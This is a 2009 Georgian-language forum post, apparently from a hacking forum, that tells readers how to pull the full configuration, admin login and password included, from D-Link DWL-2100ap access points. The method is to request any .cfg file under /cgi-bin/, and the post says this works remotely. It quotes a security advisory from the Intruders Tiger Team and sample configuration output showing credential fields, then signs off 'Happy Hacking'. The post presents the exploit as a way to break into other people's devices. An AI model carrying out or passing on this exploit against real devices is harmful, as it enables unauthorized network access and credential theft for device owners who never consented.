D-Link Access-Point, აბა ვტეხავ ყველა :D პარამეტრები

[Classical]

მოკლედ ვწერთ მისამართს თუ შიდა ქსელში ვართ 192.168.1.1 ან რა Ip range ც არის და როგორცაა მოკლედ და შემდეგ ვწერთ cgi-bin/Intruders.cfg (მაგალითად 192.168.1.1/cgi-bin/Intruders.cfg) ამას ხოდა გვიგდებს cfg ს რომელსაც გავხსნით cmd ში შემდეგნაირად სადაც შვინახეთ cfg მაგალითად cd desktop hit enter და edit Intruders.cfg შიგნით დაგვხვდება პაროლი და იუზერი. გლობალურზეც მუშაობს ანუ შიდა ქსელიდან მოთხოვნის გაგზავნა არ არის აუცილებელი.

პროგრამული კოდი

# ADVISORY/0206 - D-Link Wireless Access-Point (DWL-2100ap)
# INTRUDERS TIGER TEAM SECURITY - SECURITY ADVISORY
# http://www.intruders.com.br/ , http://www.intruders.org.br/

Making a HTTP request to the /cgi-bin/ directory, the Web server will return error 404 (Page not found).
Making a HTTP request to the /cgi-bin/AnyFile.htm, the Web server will return error 404 (Page not found).
However, making a HTTP request to any file in /cgi-bin/ directory, with .cfg extension, will return all the device configuration.

For example, making the following request:

http://dlink-DWL-2100ap/cgi-bin/Intruders.cfg

cfg ში დაგვხვდება ესეთი რაღაცა

პროგრამული კოდი

# Copyright © 2002 Atheros Communications, Inc., All Rights Reserved
# DO NOT EDIT -- This configuration file is automatically generated
magic Ar52xxAP
fwc: 34
login admin
DHCPServer
Eth_Acl
nameaddr
domainsuffix
IP_Addr 10.0.0.30
IP_Mask 255.0.0.0
Gateway_Addr 10.0.0.1
RADIUSaddr
RADIUSport 1812
RADIUSsecret
password ნუ რაც არის პაროლი ის იქნება აქ
passphrase
wlan1 passphrase AnewBadPassPhrase
# Several lines removed.

Happy Hacking

პოსტის უკანასკნელი ჩამსწორებელია Classical: Aug 1 2009, 09:41 PM